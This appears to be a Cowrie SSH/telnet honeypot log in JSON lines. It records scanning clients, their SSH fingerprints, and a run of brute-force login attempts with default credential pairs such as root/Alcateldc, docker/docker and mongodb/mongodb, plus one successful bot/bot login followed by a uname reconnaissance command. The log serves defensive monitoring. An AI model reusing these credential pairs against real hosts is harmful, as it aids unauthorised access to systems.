{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":39020,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c18471a4b31","protocol":"ssh","message":"New connection: 168.167.228.74:39020 (159.203.135.109:22) [session: 4c18471a4b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.443961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.448031Z","src_ip":"168.167.228.74","session":"4c18471a4b31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.544729Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.700943Z","src_ip":"168.167.228.74","session":"4c18471a4b31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.748106Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.751290Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.836406Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:29.841028Z","src_ip":"176.65.132.129","session":"6d08f4fc0857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Alcateldc","message":"login attempt [root/Alcateldc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:30.743207Z","src_ip":"168.167.228.74","session":"4c18471a4b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:32.002503Z","src_ip":"168.167.228.74","session":"4c18471a4b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e1f90865815","protocol":"ssh","message":"New connection: 176.65.132.129:57458 (10.17.0.5:22) [session: 0e1f90865815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:32.578939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:32.583039Z","src_ip":"176.65.132.129","session":"0e1f90865815","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:32.664724Z","src_ip":"176.65.132.129","session":"0e1f90865815","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:32.910040Z","src_ip":"176.65.132.129","session":"0e1f90865815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.921106338500977,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:33.313382Z","src_ip":"38.60.198.128","session":"4106116a287e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:33.997343Z","src_ip":"176.65.132.129","session":"0e1f90865815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":60454,"dst_ip":"159.203.135.109","dst_port":23,"session":"e049af5b11a7","protocol":"telnet","message":"New connection: 64.227.82.147:60454 (159.203.135.109:23) [session: e049af5b11a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:34.597434Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60010,"dst_ip":"10.17.0.5","dst_port":22,"session":"57e2bfb34475","protocol":"ssh","message":"New connection: 176.65.132.129:60010 (10.17.0.5:22) [session: 57e2bfb34475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:35.900579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:35.996555Z","src_ip":"176.65.132.129","session":"57e2bfb34475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:36.000375Z","src_ip":"176.65.132.129","session":"57e2bfb34475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:36.322104Z","src_ip":"176.65.132.129","session":"57e2bfb34475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:37.406260Z","src_ip":"176.65.132.129","session":"57e2bfb34475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":60460,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab404a929395","protocol":"telnet","message":"New connection: 64.227.82.147:60460 (159.203.135.109:23) [session: ab404a929395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:37.815768Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e88a10c7d1f8","protocol":"telnet","message":"New connection: 38.60.198.128:41512 (159.203.135.109:23) [session: e88a10c7d1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:38.967577Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60012,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad688d30b0b","protocol":"ssh","message":"New connection: 176.65.132.129:60012 (10.17.0.5:22) [session: 5ad688d30b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:39.170145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:39.174408Z","src_ip":"176.65.132.129","session":"5ad688d30b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:39.256115Z","src_ip":"176.65.132.129","session":"5ad688d30b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:39.501730Z","src_ip":"176.65.132.129","session":"5ad688d30b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed2b702f9aa","protocol":"telnet","message":"New connection: 38.60.198.128:42714 (159.203.135.109:23) [session: 7ed2b702f9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:39.947138Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":46652,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33284b7476f","protocol":"ssh","message":"New connection: 46.253.45.10:46652 (10.17.0.5:22) [session: d33284b7476f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:40.245066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:40.248726Z","src_ip":"46.253.45.10","session":"d33284b7476f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:40.364218Z","src_ip":"46.253.45.10","session":"d33284b7476f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:40.676217Z","src_ip":"176.65.132.129","session":"5ad688d30b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test#@!","message":"login attempt [test/test#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:40.862401Z","src_ip":"46.253.45.10","session":"d33284b7476f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:41.983624Z","src_ip":"46.253.45.10","session":"d33284b7476f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d5af807f6e0","protocol":"ssh","message":"New connection: 176.65.132.129:60016 (10.17.0.5:22) [session: 3d5af807f6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:42.520402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:42.525037Z","src_ip":"176.65.132.129","session":"3d5af807f6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:42.606838Z","src_ip":"176.65.132.129","session":"3d5af807f6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:42.851683Z","src_ip":"176.65.132.129","session":"3d5af807f6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.204.215.118","src_port":55956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8784aaf3a650","protocol":"telnet","message":"New connection: 67.204.215.118:55956 (159.203.135.109:23) [session: 8784aaf3a650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:43.348678Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:43.936332Z","src_ip":"176.65.132.129","session":"3d5af807f6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.26890754699707,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:45.241150Z","src_ip":"38.60.198.128","session":"a7660f04051e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53442,"dst_ip":"10.17.0.5","dst_port":22,"session":"214bb1669502","protocol":"ssh","message":"New connection: 176.65.132.129:53442 (10.17.0.5:22) [session: 214bb1669502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:45.881630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:45.909774Z","src_ip":"176.65.132.129","session":"214bb1669502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:45.964967Z","src_ip":"176.65.132.129","session":"214bb1669502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:46.286701Z","src_ip":"176.65.132.129","session":"214bb1669502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:47.371383Z","src_ip":"176.65.132.129","session":"214bb1669502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.52326798439026,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:48.749326Z","src_ip":"38.54.119.93","session":"41f252386183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b5acc983d33","protocol":"ssh","message":"New connection: 176.65.132.129:53468 (10.17.0.5:22) [session: 1b5acc983d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:59:49.162320Z"}
